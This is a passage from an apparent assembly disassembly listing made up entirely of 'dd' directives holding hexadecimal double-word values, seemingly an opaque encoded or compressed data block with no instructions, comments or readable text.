640D364h, 92CE9F93h, 0F2E8D3Eh, 9D5DB9C8h, 50C22144h dd 64A978D2h, 0FBDE00FCh, 25DACA6Ch, 8D01439Dh, 62B50B55h dd 0E8C39F1Eh, 199C32Fh, 83FBEB80h, 0F7F4BBC6h, 0C71607C0h dd 0F25C8C0Eh, 7784C0F5h, 0B238FCBAh, 0C21F004Ch, 0B09DDF75h dd 0D700E06Dh, 0F18CF0B1h, 1332D0h, 2C742994h, 0BA82B09Ch dd 8FAF490Ah, 427120F2h, 5C6930FEh, 613866E9h, 31E1C9Ch dd 0B52A3866h, 0BA9C0080h, 71BD8DDFh, 200011A5h, 375BB887h dd 0E4587216h, 57BA0379h, 0EA42AFCCh, 0FAFAD8D9h, 3A04B4CCh dd 5E77F408h, 1E200B62h, 210832h, 0E2532A43h, 275D0F1Ah dd 6949B507h, 5041B09Eh, 9C40438Ch, 60E48A1Fh, 0CFA3E0EBh dd 18C25E18h, 0C2FA3F7Ch, 0BA7015A8h, 69855FA1h, 0EFC1D78Bh dd 242984A1h, 5D4F9E08h, 177A60Bh, 0F84C8C9Ch, 9CD1E844h dd 498045EEh, 57C3B56Ah, 520E8C8Fh, 0BD6D5644h, 4CB0CA00h dd 7B06E6CEh, 0E03909Eh, 3F16D723h, 0CDDFFA67h, 50B4DDC0h dd 0E2293088h, 7EF9748h, 8112F01Fh, 582EF8AAh, 0DBB4215Eh dd 3A4BD082h, 0ECA6320h, 0E351CBB9h, 3E7C1F90h, 11EA0E0Dh dd 4FA92040h, 0F171C19Eh, 4076B912h, 3D8547B8h, 0E97B7300h dd 1E833354h, 0CA7E0B97h, 4E003A43h, 0F0E4949Eh, 0E6D71B15h dd 60EFEC04h, 5777118Bh, 2100A6D5h, 0E86B527Dh, 39CD27Ah dd 4F13879Dh, 0BA807E1Eh, 0C07BDA9Bh, 52007B7Ch, 0C67DF6B3h dd 5095B616h, 0CE34CB8h, 0A5849DCEh, 3424A50h, 1F764F0Eh dd 0D704B4A0h, 0A7074445h, 0FA535590h, 7AF69FE0h, 5EE23Bh dd 0F13A1BD3h, 22470CCBh, 0E7CEE018h, 0F974AF60h, 439C188h dd 63DB0503h, 10590027h, 6FDFF8E9h, 3A480A6Dh, 0D4B015CEh dd 78081070h, 0AD8EC300h, 809A01F4h, 62B1643Eh, 0EC459E8h dd 0C7A4BC24h, 5E4800BFh, 0B53076F5h, 7439E99Bh, 4CCF5693h dd 0B7692Eh, 45371D0h, 0F25468F4h, 0C2142BB4h, 8194E963h dd 0F34FF8E0h, 34CFA980h, 534CB7ECh, 0E9489C14h, 447AFF4h dd 1EB001ABh, 0B763B52Ah, 6E0440D6h, 0E4C75157h, 48635D8h dd 2013F25Fh, 9C0480ADh, 92E8B2Fh, 3D0CAEC5h, 447928C7h dd 0A8447390h, 648C444Bh, 11F23245h, 0A0E70881h, 883AF828h dd 39888D41h, 0AD438832h, 0CCC50A01h, 26235779h, 89D830h dd 4A9DCF83h, 7452D03Fh, 1302D07h, 3BF784B5h, 0B8EACD03h dd 0FA7A03h, 0F562CAC5h, 7DC8329Ah, 727BBE01h, 0A9BB2548h dd 0B7F01BC9h, 17433AE4h, 45913C80h, 76465685h, 0C6401E1Fh dd 2BF91040h, 8BF1A7h, 0EC72FB61h, 231F998Ch, 2274400h dd 0D35D2FAh, 3BB500DAh, 0EC1E3980h, 9300C163h, 7CA8D6Eh dd 0EC51F6FDh, 0C254241Ch, 1F293C8h, 44D16B0Ah, 2091E185h dd 2C1D0593h, 7E401230h, 84A6E2C7h, 0A9670007h, 9B0C6F60h dd 2B009F6Bh, 68830189h, 4CC6211h, 0B2803A27h, 86B491DCh dd 0A5D88053h, 2CBB0AC8h, 9DAC00D2h, 1A5AB7B3h, 0A67B8B42h dd 4FA82B01h, 0B6AD4EF2h, 3E703BE9h, 37E454h, 6E593582h dd 33A8DF09h, 131FB300h, 0DE9A7129h, 4AD600F3h, 0D459609Ch dd 0B4000C5Ch, 51412B39h, 0E2500A42h, 867C01BDh, 0DA6A3801h dd 33730D2h, 0A725E900h, 0AD178216h, 67B70099h, 18E40752h dd 9300E07Bh, 71AA3809h, 39EBC9h, 0FEFFD2F9h, 42166C91h dd 807E2B3Ch, 0C99BF563h, 0E804F08h, 11143A25h, 0C6B7D360h dd 56016610h, 0FDCCD9F8h, 8C40C384h, 115DB6Bh, 9EBD6AC1h dd 0D8DD3CEDh, 0F2075229h, 0FF66A19Ah, 36E80BC0h, 0A6300001h dd 0D5BE6E4Fh, 0DD027E5Fh, 3D6BE692h, 2AD18047h, 5439CEh dd 4A24C775h, 5DA60DB2h, 5766D202h, 60BC2005h, 1DDACCh dd 799C5FF5h, 74F2085Eh, 0B7FC1700h, 0D7E114C8h, 952C3E5Ch dd 62032F87h, 290F0CBh, 0D3017F66h, 0AE6972A9h, 0E4CD5B5Ch dd 2663DCh, 0FBB4B717h, 0F458D387h, 0DD0036E0h, 0B20B5EB9h dd 0C02ED6h, 9D796FEEh, 1F5D5B86h, 50D8C404h, 1200F11Bh dd 0BDC135A7h, 42DAF24h, 0C649400h, 1C166F39h, 82E157FAh dd 8B0EDBB0h, 0B86DE0FFh, 66B00C8h, 0DD4A232h, 5500339Ah dd 87EBFFD0h, 3A7A19C1h, 9D83683Ah, 8830461Bh, 32163EE8h dd 0E7A0F500h, 0AD6EFB9Ah, 0CEDA0052h, 40AE5A0Eh, 563829B3h dd 0EEAB80D5h, 0DBC94A4h, 0E0DC0522h, 814F8068h, 0FB672323h dd 11078CD8h, 61484B01h, 6D3119C9h, 0D07BE0h, 871829BDh dd 52D5CF9h, 0F7A7CA0Eh, 0B2024E99h, 0B871E300h, 0F0319C7h dd 0D9CCBB83h, 2E008834h, 0BD434696h, 0D81CB8EAh, 5B00551Eh dd 859371Ah, 234F0039h, 3FE42AD5h, 0F000E3B6h, 801207ECh dd 1E01C8BAh, 4016DE8Ch, 9E904769h, 8FFCA8A3h, 0BA3BF200h dd 1B709387h, 6F681FEBh, 0B1834E1Eh, 7EF0A4CCh, 3C5B6C00h dd 6BE10384h, 0BE1E0014h, 16FBD122h, 0EF0035ABh, 60B4D45Ah dd 6798C8h, 0C4A81A5Fh, 193BEE12h, 41439E00h, 306B3D9Fh dd 0FC225C4Ah, 0BEB5D200h, 0C55C5E81h, 0C902FB01h, 0E5ADE97Eh dd 34846E0h, 9003F779h, 0CCA0C152h, 0CE0004B7h, 0AA1C61C4h dd 31A60BC8h, 6A21E23Dh, 0EFB0CCF2h, 0BBE05000h, 1E408D26h dd 0FB37B8Fh, 2DE71C4Ch, 9A774E81h, 0A9A8F083h, 3BE0EA00h dd 29F6268Bh, 0D1A00093h, 0CD38BBBEh, 5EEAA3ADh, 71C4DB00h dd 325CB2Fh, 0AB8F00EBh, 289279FBh, 9B00D6F5h, 4840D201h dd 72063F7h, 0A9B8BD42h, 0A85800F1h, 0EB003C4Dh, 6766AE7Bh dd 3A761D4Ah, 9DA64F9Bh, 14DE0088h, 5CACF953h, 8F4E091Ch dd 8549CF00h, 0FF22C3h, 48F3BFE9h, 0A0B0D3BBh, 5C0320ECh dd 0AC31DC70h, 0CE8DD83Fh, 0D91002CDh, 94EE8257h, 9D8F0AAh dd 0CC2016C9h, 0B1C1CF9Ch, 0FE0E34E0h, 209487D0h, 668E0CEBh dd 790F0F3Eh, 318085DEh, 89BEA7E3h, 15073Ah, 0B402CAA6h dd 42C0435h, 9B61DE7Ch, 0D6B98020h, 5BF2B83Ah, 0EC2A4B00h dd 0B11CE68Eh, 48027A47h, 0E81FE8FAh, 90FE4080h, 0FC855566h dd 65113B1Fh, 0A63DCB04h, 0FD8488h, 0E1E7DD0h, 217F09BEh dd 0EC592616h, 0C52EAD01h, 0B6E4803Dh, 0E3DC00CAh, 0F72FA9B4h dd 0FC031517h, 4D2454CDh, 8801E0A5h, 4F0403BFh, 17FEA4D2h dd 8BF96C90h, 0E0D8D700h, 2C9CE50Fh, 25BB00C6h, 0A3F28C7Ch dd 887D6D33h, 28A3100h, 75CAAB3Dh, 0E4830721h, 602D8625h dd 0B370F891h, 203EBD1Fh, 6DDBD541h, 460607Fh, 0C7590054h dd 1B7E3474h, 41E0CCBh, 0A6C01D0Bh, 3DC8E52h, 0B69800A0h dd 825B562Bh, 65DE9BFh, 15E50080h, 0FF6FCEF9h, 9A87D91h dd 0A7A920ABh, 0DCCB7480h, 693F1068h, 98930025h, 0E437C84Bh dd 7DD40729h, 26D3BDBBh, 0AD032068h, 3D6578BEh, 4810006Fh dd 898F2F49h, 380D117Fh dd 78D17D9Ah, 505D58E4h, 396D44Fh, 1E86D28Bh, 4CE94E71h dd 0C641806Dh, 3639F669h, 5FAB057Ah, 0C0F5427Ch, 5E8A2434h dd 9F440200h, 0C0A1D012h, 903F00DEh, 99E28432h, 700B80Ch dd 8C208E0Ah, 0AB5D1Bh, 0F9B6A50h, 8F85597Dh, 0BB2ED400h dd 729F5784h, 0A3D600CCh, 2FB89352h, 0C1B5EBBEh, 6CF0AD4Ch dd 0CDE60077h, 14C3D5D4h, 4A00E316h, 1C302191h, 677C11h dd 0A63893F1h, 7E64BBD4h, 5FC3F801h, 3BF77A4Fh, 0CB2C60h dd 605E1A09h, 0BAE6C285h, 0AC077E00h, 6C5F0F95h, 0B663281Bh dd 8AF0A2h, 9F11CCC9h, 86EF1358h, 87FCF807h, 8A0E14Ah dd 58F462Dh, 686BBC48h, 9DA0C007h, 0D9021705h, 30AB617Bh dd 0C1946011h, 0F6161673h, 0AD1000CDh, 751301AAh, 5F812400h dd 2FF8800Bh, 0D7090098h, 87F02D71h, 0DA14EA40h, 3FEE175Dh dd 0D9BC0974h, 0E5BCA3A7h, 0DE94F8F3h, 76EB00A2h, 1CE4B279h dd 15003D48h, 20B126FDh, 9D7A3Eh, 0CF6F040Eh, 3F1EED1Fh dd 9A94D800h, 9220141Ch, 4B4E01F3h, 0EE370B7Fh, 347D3091h dd 0ED7BF600h, 0A126F1DEh, 66D90008h, 0FD4DB71Ch, 0A600BD32h dd 0F0E59864h, 0EA353A0Bh, 3E9C030Ah, 8DEC588Fh, 0F4D272E1h dd 0DE7C86C1h, 974C2500h, 0AFC550BCh, 0F5F60Fh, 0B1FD1E3Fh dd 0C0248B46h, 7F331239h, 607E582Eh, 0CA6B4400h, 0FBBA7C8h dd 674E9248h, 9158AE00h, 4402C164h, 0CB0817A4h, 97D8E0EBh dd 0B3A10051h, 0F7DAFED5h, 7E00D189h, 0E97A8082h, 3A6F157h dd 282DEA87h, 0D3B81E67h, 8E00A72Ch, 0F5E465DBh, 0E2D76CBDh dd 0D62F3E0Dh, 14913A00h, 1E4DD399h, 82C72913h, 0C6DFD701h dd 13CDA45Bh, 3B109C28h, 0D34D842Bh, 5F21F03h, 509308B0h dd 4C4C4A70h, 0DC903D04h, 8C5A137Ch, 0D5C07C80h, 0E7C63047h dd 0A4B94E28h, 80E06B4Ch, 0E6B01D17h, 84365887h, 0BEDD900h dd 995074D2h, 654CCAA1h, 0C0DDC0CCh, 6080F003h, 0AB7BCC49h dd 3D1001C2h, 0F231715Eh, 0F119D47Ah, 0C7409E00h, 0A4E1B986h dd 7C1C09D1h, 88EF82Fh, 4B7F0220h, 1500310Ah, 218C253Bh dd 959B4Fh, 0F432226Ch, 0FAC49F0h, 0F2946B17h, 0CE14BA00h dd 0FD60E5Eh, 4CB850D0h, 6FE3F000h, 0E2000BE5h, 6D8B1767h dd 0DD37EDh, 54620F5h, 0AF73A5ECh, 0AA852A00h, 0F99B4A86h dd 5F4000FDh, 274E21A9h, 2C17EECCh, 3400DBA3h, 0D51DBCB4h dd 846A07FDh, 0F06ED315h, 0D9E44A95h, 5FD49300h, 6C1ADAAEh dd 0D8FD483Ah, 85F2C800h, 3398500Ch, 0D638A700h, 2EC15DE2h dd 0AA08005Ch, 5FB03778h, 0A3F049DFh, 1136420Eh, 0AF1E20E2h dd 1F8694F8h, 0DDE833h, 6A493F91h, 7700C963h, 0F0939978h dd 53C02Bh, 0EC50BF74h, 0DBA5AFE9h, 0CAD7F503h, 0C979928Ah dd 0FB60519Fh, 344F00D3h, 77EF2160h, 0AA00393Eh, 3A2C9EC6h dd 5F192h, 2D7A11B0h, 2882745Bh, 9EF61800h, 80525875h dd 7E7B053Ch, 0C33EFD94h, 38A8ED12h, 0D400A10Bh, 7C0C24B8h dd 46E0F4h, 0C9677107h, 0CBCF2991h, 864E9500h, 9B600ADFh dd 8D62054Ch, 0C0513744h, 159FE3A5h, 8099D03Eh, 0D519D460h dd 0D3E861h, 7CA16DAAh, 41F308E0h, 660C6300h, 0C8B08099h dd 0B3F81FCAh, 0C0DCDD10h, 845F6893h, 5000AEDh, 0BBA9E8B1h dd 25EFADEEh, 7080A01Dh, 8ED211DBh, 528D700h, 94E52707h dd 5C41003Ch, 96DC2119h, 0FA70EC70h, 0DF724200h, 501C1BFDh dd 6FD400ADh, 0D314EBBAh, 2B07DDBCh, 0C277DFF0h, 9AE0DAC0h dd 423738E7h, 2DBCD680h, 8B1D8F7Ch, 55E10F00h, 0A179E038h dd 6115094Dh, 0BC020886h, 0FDC0F2B5h, 0B1003FD6h, 0A3F4145Bh dd 4F57D89Eh, 51580907h, 37C3F410h, 0AD2AA400h, 44BEAB38h dd 50CB005Fh, 0EDA74A0h, 4503B03Ah, 0EC2825F6h, 0E0F0ABAEh dd 241254h, 0FCEBF702h, 3449D50Bh, 0A75E8001h, 48CF04E6h dd 6092EE20h, 51F0703Fh, 34921873h, 0EF94D400h, 2CDC7E17h dd 523C1E27h, 0E95449F9h, 0E1127880h, 0A602998Ch, 0C491AF8Bh dd 0DB36C0E8h, 0C9390287h, 0AE1490FFh, 405E4602h, 603F75h dd 4CF59422h, 8DBFCFD7h, 0F0036478h, 4193FE38h, 8C339059h dd 0E1655CD4h, 0A1847C00h, 0B64881ABh, 4911C500h, 2D579AEFh dd 186D003Dh, 0A669B1C1h, 0BC0F7656h, 41E7101Eh, 533F3916h dd 0D0A0A4F1h, 257AC0h, 0B2CC3240h, 0F0F37C1Eh, 22185807h dd 3D077EE5h, 791145A0h, 680E0A3Fh, 8C0514h, 12C4C7A9h dd 3E7ECE87h, 1D655900h, 6BDA7E3Dh, 6322C86h, 739C30C4h dd 0C300EE61h, 5C366C75h, 2E62F47h, 0AF62FF20h, 88401F29h dd 0B4B0BE01h, 7E107500h, 4A02AABh, 2BA400B8h, 0A6E3DDD5h dd 827355EBh, 0C3912D00h, 0FB399587h, 3A1F07BAh, 2B6AC959h dd 0B39AE683h, 0AF7D87E0h, 0BD6B6600h, 3D5EA4B7h, 56350014h dd 6EA6FE05h, 0A1FF773h, 39D884Dh, 35B75280h, 92EB6BE3h dd 9DE90138h, 0F4CFC927h, 11042072h, 237B4800h, 697A774Dh dd 8EE500B4h, 0CC2BF747h, 7960A7DFh, 0DBFDC898h, 0E034B0Eh dd 46196B0h, 3D61D289h, 8126009Ch, 95AF2ED0h, 0BC7B161Ah dd 0F8B501FEh, 0C1F19427h, 2A6B2055h, 0E30AE67h, 0D5E0E630h dd 0FA3E0064h, 6CDB15DAh, 794C7774h, 0A875001Bh, 366987F5h dd 0F13F494h, 72DCECB2h, 0AB498420h, 85003993h, 19BDA6BEh dd 767B1F6Bh, 0B5C5004Ch, 931377B6h, 0F5002789h, 0F8FEF7AAh dd 7352D0AFh, 2E88909Ch, 87C482E3h, 20662B44h, 2E08D2A5h dd 6F41881Fh, 482E851Eh, 0E1714C00h, 0E03467h, 0CE13F593h dd 0D9EC1941h, 3966DD1Eh, 12BC77C0h, 1B0944Dh, 0CCCFA8EFh dd 6F8067EDh, 0E7A2C900h, 0BA1DF4h, 0D3A1E604h, 0F0BCC361h dd 0A77FAE78h, 0C6521600h, 95556777h, 7B0E9090h, 0D4EF00F2h dd 305E3BE3h, 1A000DE7h, 0F5FA5256h, 7B727D24h, 9D76034Ch dd 13DEF483h, 270F1D90h, 4A04080Fh, 0CC9440A7h, 0E8E6B5Dh dd 2F1A2811h, 0FA7F8AC3h, 0D9CF1490h, 6FAF3600h, 0A9E917F4h dd 3BD80234h, 74CC5E78h, 6944F9C0h, 324B1600h, 0FB23DA47h dd 53F60767h, 0C12F8D21h, 0DC731B1Ch, 5201D97Bh, 9C36FBCEh dd 0C8717085h, 36DA2F0h, 15B784D5h, 13F13182h, 857EC08Bh dd 0AE6358h, 9DBE865Eh, 711F5E5h, 0ED934238h, 0B8DFE13Dh dd 2365602Dh, 0B27A122Ch, 7D15C300h, 190FBAh, 0A093D0EDh dd 116A17CDh, 0EA6E8D00h, 43F8A64Ah, 772B07CAh, 0EEA1A39Dh dd 9CBB7360h, 0F1008D0Dh, 83A953BFh, 19D040h, 9BBD8C0Ah dd 151C3ABEh, 730BE690h, 88D291h, 10C3EDB6h, 676A0094h dd 9E112095h, 0D1149222h, 0E105288h, 98676BFAh, 0E643E98h dd 4C305934h, 4AE8E581h, 0C4C1F318h, 3680FF31h, 6800FD1Fh dd 0EF88D3F7h, 0AF9371h, 9FAC2467h, 0F1D8EE07h, 441958C0h dd 5EAA65h, 7B0E703Bh, 63130740h, 78297F00h, 0DD0BDFF9h dd 713F3B5Ch, 77104881h, 0D96AD9F7h, 0C3908512h, 281839EFh dd 0C08B7C71h, 1E855FE8h, 10A0D7EEh, 1100FE74h, 0B063790h dd 589EF3h, 0D42176Bh, 149C9F94h, 0CA23A707h, 0D26025B3h dd 1435B0B6h, 0AC0D2A24h, 6413E200h, 0B75D0A1h, 0EA83B3Eh dd 20EB6F72h, 979B04EDh, 4BD90041h, 187DECD4h, 3200390Ah dd 0EE6C3B81h, 0C05898F4h, 0B8421DB4h, 2003DE19h, 3C298715h dd 0E1DB92CCh, 0B080C20Dh, 1F6175A3h, 0E70E2021h, 2A05CFF2h dd 0BEBBCC0Eh, 0B8B400F0h, 7553C4DCh, 0A53300E8h, 8FA35983h dd 0BC02B3F9h, 12EDD630h dd 7D98A10Eh, 61B80193h, 0E07C2514h, 0D217797Ch, 0C03F1D59h dd 125161F0h, 0FF1D446Bh, 0E1000D9Bh, 2921C722h, 7E3B005Fh dd 0E2EBF4C4h, 2303A69Fh, 4F30FEAFh, 41A8A003h, 0DE841D15h dd 58FB8335h, 0F4F02C8Eh, 1034AB5h, 5F6BD1FEh, 9ECD902Ah dd 9D3504EBh, 0BE8F6003h, 0CE92D780h, 91AC3FA8h, 72D8868Ch dd 7028EB20h, 0F400F0AEh, 37D90C7Eh, 0B55D88h, 0C36444B9h dd 4951539Fh, 470B77Ah, 9005879h, 3623F29Ah, 63E8DA8h dd 5F154E55h, 4E008E5h, 0AEE120C0h, 3AEBD4A9h, 0EA005D44h dd 3ED81805h, 697503A6h, 0EFF31E1Ch, 0F1DE8B9Dh, 27FA0981h dd 0E3DC4261h, 0E7081923h, 8B1F08D4h, 87E15A21h, 51005E22h dd 0F91364h, 1E678269h, 0EFF555A2h, 99CF0303h, 78083827h dd 0E1E93E88h, 6B14780h, 2E8A0484h, 0ED607574h, 0F519C821h dd 30530056h, 9D86CE0Dh, 70F6BE39h, 0F103B730h, 3C73E1A9h dd 0AB8AB533h, 0CF6182h, 9AD26A8Dh, 0B007A21Fh, 2F79BADBh dd 3E91F3C3h, 3B001CF6h, 4B61453h, 0B100E5D5h, 58B77178h dd 7067341h, 3749A8F3h, 6167C026h, 0BC00CBA1h, 40919F53h dd 146B340Dh, 0B85AF6A3h, 5F7747Bh, 28CC064h, 9129C076h dd 3F074A8Ah, 22952F27h, 0FBB83150h, 0C18C00FEh, 0EF53EA81h dd 49060329h, 69341775h, 0B6100341h, 0BF643367h, 0AB455EB8h dd 0E046EE00h, 134AD1F6h, 8128DCC4h, 5D172832h, 0DBFBDC7Eh dd 3C1F451Ch, 1120A418h, 87F70140h, 0FB04BE63h, 47608366h dd 0C8B9E2E0h, 303ECE3h, 0FAEBFD9Ah, 40E1C297h, 0A0B9F6h dd 127D7A04h, 3D1081Ch, 0EC852E3Ah, 7D9D922h, 1800E3E6h dd 0D3F83476h, 253509h, 8772563Dh, 0CC19AF40h, 589DF030h dd 1818CFD4h, 109548B4h, 3839573Ch, 819F83F7h, 80791DC9h dd 3F4B4410h, 89817041h, 0F9BE837Fh, 8CA0FA75h, 9C1F9E2Ch dd 3903F0E1h, 0C3197160h, 2E2346A7h, 1862D690h, 0F739406Bh dd 0B8A2100h, 508F41EEh, 0CE238D1h, 2F521380h, 0F13D6818h dd 8805C201h, 1DF70925h, 773EBF4h, 0D04B1A32h, 0D4479085h dd 2900B436h, 0C2B251B3h, 7A7025B7h, 50890066h, 59A047A3h dd 0BA033082h, 0F6D1ED22h, 8B73A88Ah, 9EB00029h, 89B72EE7h dd 0C6F4144Ah, 0B9E18800h, 0BF222521h, 0FF230963h, 54003881h dd 351A9E47h, 41567716h, 0C142DD00h, 7C4588E9h, 0BDB100FCh dd 2E6C36CCh, 41C61C0h, 0ED405658h, 18232214h, 0E71D005Eh dd 61AD7478h, 0A00059FEh, 71B4B905h, 0C86D50h, 475299DFh dd 1FBF0D32h, 0BD772F00h, 0ED407574h, 4DC23C46h, 2CDCC987h dd 0B33470F6h, 89743224h, 52E3C100h, 78284A07h, 0A603008Ch dd 0AF8877A2h, 2B000B05h, 90312485h, 404194h, 26B5895Eh dd 0A90ABFE2h, 96831900h, 2982B20Bh, 0B48F51C2h, 0ED512984h dd 7B9002E1h, 208E0484h, 804124B6h, 3B89EE8Dh, 812A22D6h dd 28871B23h, 22144951h, 66507F2Dh, 9B626428h, 22EF0529h dd 0E2228110h, 9AB2223Dh, 0DFC7E121h, 12E39201h, 7281107Eh dd 5A089D89h, 441A7D44h, 0B244083Ch, 5D1C88D9h, 2F00C590h dd 0D7B4B14Eh, 0FD2ABACh, 29928B65h, 0BD227C80h, 9F014CDAh dd 0FBB0EEE3h, 0EDF9A061h, 0C43598F7h, 0F01B001Ah, 37AA79F9h dd 0D90B1713h, 81BD86h, 0B1E6D536h, 8C1F0094h, 0DBE4EDC8h dd 0EC07BFB0h, 4AB87593h, 7A42B2A0h, 0E52D000Fh, 727D484h dd 3E0059EBh, 7565E84Fh, 0D2190h, 91B04402h, 0BB6C98C9h dd 7E715B00h, 0DEDAE7F4h, 6305E6FBh, 60FD107Dh, 7058C4C0h dd 639E1509h, 95C02028h, 66010Fh, 3FC50749h, 225C41B3h dd 0E2785800h, 0B7D27ED5h, 3C435871h, 0D49C2900h, 0C8E64F9Ah dd 0F6C59000h, 0BAFC69E9h, 0B17000C6h, 6811FB10h, 0D600FAB9h dd 3FB43586h, 0C7EE14h, 4C8A7B6Fh, 0E98DBFECh, 0F5217200h dd 0B1D869Dh, 1B7C0Ah, 5C3BE8BAh, 26A1AB3Ah, 53480400h dd 0F245D2E6h, 5AA500A6h, 0F559D057h, 64007107h, 0A80CFFDh dd 185C54E6h, 18CE1C7Dh, 301076Eh, 940F49B9h, 0D5FC046Ch dd 79370032h, 0F293FCE0h, 0CC1E677Dh, 6080F0C3h, 9ECB01CDh dd 0C72B005Fh, 0A6338B2Ah, 73EE2F3Dh, 1528E300h, 700BAA80h dd 547236h, 0D1E1684Fh, 0CB98E61h, 7F199E00h, 85FB6ECAh dd 579F006Dh, 49CF5AF1h, 160F2572h, 23192A5Eh, 0A8683C76h dd 1CE5D84Fh, 0C031B7A9h, 8BEC0DD5h, 0C8009A0Ah, 1DE14D6Ah dd 0F4C239EAh, 0F2300036h, 0E4F95FAAh, 1B5894E3h, 3E3F1F9Dh dd 0E0A1B78Fh, 2DCE2C5h, 995D165Fh, 7ADD1E3Ch, 80EE2A87h dd 8B38302Dh, 0AD00CF08h, 87773A32h, 0EDCF2E6h, 70E34E35h dd 0A04AD447h, 652A4D5Ah, 23BA1600h, 38CB418Fh, 0E9B3007Ch dd 0F23CD179h, 0E03C9C15h, 26E0066h, 9ED7267Eh, 64EA1F0Ah dd 89A98016h, 0C956277Dh, 153C0709h, 8F0400D5h, 0E2BEE2FDh dd 50910126h, 83F86DB9h, 0D01AF86Bh, 14DC8000h, 0EAE18530h dd 3650034h, 18F0AB25h, 47002787h, 83DF1F7Ah, 0CCAC5Dh dd 6FEE917Fh, 4ACB6574h, 28BD6D02h, 401B96E2h, 0DEB403h dd 60FA2902h, 2B82F4D1h, 9FE82A01h, 0A5B9C672h, 6AD7F0h dd 1219536Eh, 0DB37628Ch, 0D91DF072h, 0BD805E49h, 7722658Ah dd 8B848C7h, 0F81DC000h, 0AE99A481h, 57ED8C00h, 44FB1A60h dd 0A5510026h, 0C25633B7h, 7A00D476h, 0E9927705h, 1E7F2h dd 356FBD1Ah, 9E520291h, 0C1D0511Ch, 428108E0h, 0D050AA99h dd 6F6C04A7h, 7AF863h, 0E8AABD88h, 0D82500AEh, 4010815Eh dd 0EA003EDAh, 1B174421h, 0E204F650h, 2ED43EE7h, 68AB12h dd 9C4C3737h, 450F1681h, 67CF70F7h, 97401178h, 146F530h dd 506C1D71h, 2A606942h, 8AB2FE80h, 0E87400B9h, 0D59A662Eh dd 8000FE11h, 0D1AEDCA8h, 7347EFCh, 0F80A1935h, 0F163302Eh dd 7D00E394h, 49E41387h, 489BD8h, 0DA84ACD1h, 0B947C51Eh dd 997D2307h, 0F2606E73h, 90FB27h, 11325D04h, 6150F12Dh dd 24028774h, 92B6284Dh, 8CC480DAh, 0FE9960h, 17E9FC1Eh dd 3613EB59h, 375AD600h, 86CA2070h, 0D2050012h, 4878175Eh dd 0A600E4DBh, 523E4DB8h, 1D6A9E3h, 0BCD276C3h, 35C0DF9h dd 0A8C0C89Dh, 48020192h, 88015FE3h, 0FBB82040h, 0F81E8400h dd 67C03CB6h, 973B1656h, 4F3C01ADh, 2078B97Dh, 5C00EF49h dd 0B6EA3D05h, 38DA1DCEh, 0C609894h, 7E7F5A7Dh, 9DEEF200h dd 92698750h, 2D6E000Ah, 0D9F73DC0h, 0AE0F45BDh, 40C4D42Fh dd 1EE148E7h, 413B031Dh, 0BCB36F69h, 6A4613B8h, 0E6030D7Eh dd 63FC426Dh, 0FB709FD2h, 57219FEh, 4A929EE3h, 53A580A5h dd 0F9E46BDDh, 7DF0B707h, 0F291D211h, 7E607718h, 98ED00A4h dd 64A8887Fh, 6F003C05h, 0DD756D1Ch, 0C2EF4Eh, 89C91EA2h dd 0AC2C1B4Fh, 8A0F2F00h, 45067DCh, 93651349h, 0CA3C1898h dd 2001259h, 0F4C5161Eh, 0EE216081h, 37C30125h, 68491A8Fh dd 13318050h, 539246E6h, 0F0B8C007h, 82DA7D24h, 785C5509h dd 0C54CA080h, 1F843733h, 43D7E619h, 91CFAA87h, 41DD24E9h dd 0C00A4DBBh, 0D0704138h, 5AFE4400h, 0EC3BE7FDh, 111FE83h dd 0CFD7FA7Ah, 0DE50950Ch, 0BE32E960h, 0C3CE3A00h, 2576F051h dd 9045FE3Bh, 0FF6A00F3h, 0E59BD637h, 0C03DD71h, 53C66938h dd 0FF5D008h, 298000ECh, 309341F6h, 700F1849h, 0C05EF7CBh dd 0F1101EA1h, 0A82A03E6h, 4F563F2Dh, 0C77636B0h, 0E4541D01h dd 7D01CA60h, 7E3203D7h dd 46C05BF8h, 20766BB8h, 268038h, 92AF9181h, 0C11B44Fh dd 4601FD7Eh, 52075F2Ch, 1B6F8C88h, 0ABEBD680h, 0AC3200BDh dd 9D197780h, 2100C524h, 0EA4C38B4h, 73A0D53Ch, 0E748075Ah dd 206FAE0Bh, 0D70F25ADh, 98B4EE00h, 0DC5C6DD8h, 111A039Bh dd 77EB2276h, 37A14788h, 4270321Ch, 20E180BFh, 61ECB98h dd 3AB10075h, 2C381DFDh, 311E5081h, 0E040ECE2h, 3937220h dd 4A58009Ch, 3708FBEAh, 0FE0168D7h, 0BD9E6DB8h, 0F3F8E3E9h dd 247304E0h, 0C00470C4h, 0EFA1F19Dh, 0D1BE1B1Ch, 783753C0h dd 37D15AFh, 59F66FCh, 93A9BF38h, 0F899DC07h, 0EB72F600h dd 0D9A48E1Bh, 0BCC50082h, 0D2280133h, 2700B8CEh, 46FFAA3Bh dd 1799A7Bh, 0D3E323BBh, 0D47120B6h, 4092271Ah, 2D7F8AF8h dd 5DC14D00h, 85317540h, 77FEF48Bh, 0FFC600D7h, 66AE8632h dd 0B0E394Ch, 40F61AF0h, 0B2608F46h, 0FDCB005Bh, 98E1EE56h dd 0B60397D3h, 94B916CFh, 665DF85Fh, 634D0927h, 9C50DF6Ch dd 246A5E0Ah, 4C00A04Bh, 32037FDEh, 14230B74h, 28892938h dd 0CBF87680h, 8D001A5Dh, 3CAAFFCh, 1C1532Dh, 0D1A48492h dd 0D3C6D222h, 9E7ACEC8h, 0ECF8E305h, 0A000EA56h, 0BFE09B1Dh dd 18F90093h, 7DFEE1F4h, 9C042D22h, 3DCD0C3Ah, 0F6E67CC1h dd 1EF44BC0h, 0E48DB830h, 0A5400020h, 0C7D45328h, 0DD0E7E1Eh dd 0FBB63080h, 96F40Ah, 5B6A5748h, 0BD3FA8A4h, 0AE247F03h dd 775546EFh, 0FE9E00D8h, 6FC856C0h, 6612C17Eh, 502D4F63h dd 5C006AC9h, 0A7057D45h, 0A09A29D3h, 0E2D26680h, 0BDF30E46h dd 0E0EE5A54h, 4F55BFE0h, 0A03C3C4h, 0A0ADB87Fh, 9834A8E7h dd 64660006h, 2ED8C630h, 500036C7h, 8B3FA27Dh, 0F11CB4h dd 306333C4h, 9EA1CB95h, 6BD01D2Ch, 0D537AE09h, 64880300h dd 0E0013AC4h, 3DEDEBD9h, 0E0EB4DBEh, 9D1FCBh, 4FE99C53h dd 9517DD6Ah, 0DA353901h, 8A46A907h, 1D63BFD8h, 4BC49048h dd 0B3091301h, 73152D80h, 12002AEDh, 74E88B97h, 2E5D0h dd 0E28D7E7Ch, 6E3A160Eh, 0A30041E4h, 29D24DA4h, 